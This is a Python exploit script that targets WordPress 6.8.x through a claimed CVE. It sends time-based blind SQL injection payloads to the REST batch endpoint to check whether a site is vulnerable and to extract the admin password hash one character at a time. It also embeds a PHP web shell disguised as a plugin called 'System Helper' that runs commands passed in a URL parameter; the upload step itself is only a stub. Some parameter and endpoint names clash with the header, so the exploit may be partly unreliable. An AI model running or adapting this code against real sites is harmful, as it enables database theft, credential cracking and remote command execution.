#!/usr/bin/env python3
"""
WordPress 6.8.x SQL Injection Exploit
Targets CVE-2026-60137 via author__not_in parameter
"""

import requests
import time
import sys

class WPExploit:
    def __init__(self, target, session=None):
        self.target = target.rstrip('/')
        self.session = session or requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        })
    
    def check_vuln(self):
        """Check if target is vulnerable to SQLi"""
        # Time-based blind SQLi check
        payload_true = "SELECT IF(1=1,SLEEP(3),0)"
        payload_false = "SELECT IF(1=0,SLEEP(3),0)"
        
        batch_payload = {
            "validation": "normal",
            "requests": [
                {"method": "GET", "path": f"/wp/v2/categories?author_exclude={payload_true}"}
            ]
        }
        
        start = time.time()
        try:
            r = self.session.post(f"{self.target}/wp-json/batch/v1", json=batch_payload, timeout=15)
            elapsed = time.time() - start
            
            if elapsed >= 3:
                print(f"[+] Target appears vulnerable! (Response time: {elapsed:.2f}s)")
                return True
            else:
                print(f"[-] Target does not appear vulnerable (Response time: {elapsed:.2f}s)")
                return False
        except Exception as e:
            print(f"[-] Error: {e}")
            return False
    
    def extract_admin_hash(self):
        """Extract admin password hash via SQLi"""
        print("[*] Extracting admin password hash...")
        
        # Binary search for each character
        hash_value = ""
        query = "SELECT user_pass FROM wp_users WHERE ID=1"
        
        for pos in range(1, 35):  # WordPress hashes are ~34 chars
            for char_code in range(32, 127):
                payload = f"SELECT IF(ASCII(SUBSTRING(({query}),{pos},1))={char_code},SLEEP(2),0)"
                batch_payload = {
                    "validation": "normal", 
                    "requests": [
                        {"method": "GET", "path": f"/wp/v2/categories?author_exclude={payload}"}
                    ]
                }
                
                start = time.time()
                try:
                    self.session.post(f"{self.target}/wp-json/batch/v1", json=batch_payload, timeout=10)
                    if time.time() - start >= 2:
                        hash_value += chr(char_code)
                        print(f"[*] Position {pos}: {hash_value}")
                        break
                except:
                    continue
        
        return hash_value
    
    def upload_shell(self, cookie):
        """Upload a PHP shell as a plugin"""
        shell_content = '''<?php
/**
 * Plugin Name: System Helper
 */
if(isset($_GET['c'])){system($_GET['c']);die();}
'''
        
        # This would need admin access via cracked password
        print("[*] Uploading shell... (requires admin session)")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        sys.exit(1)
    
    target = sys.argv[1]
    exploit = WPExploit(target)
    
    print(f"[*] Target: {target}")
    print("[*] Checking vulnerability...")
    
    if exploit.check_vuln():
        print("[*] Attempting to extract admin hash...")
        hash_val = exploit.extract_admin_hash()
        if hash_val:
            print(f"[+] Admin hash: {hash_val}")
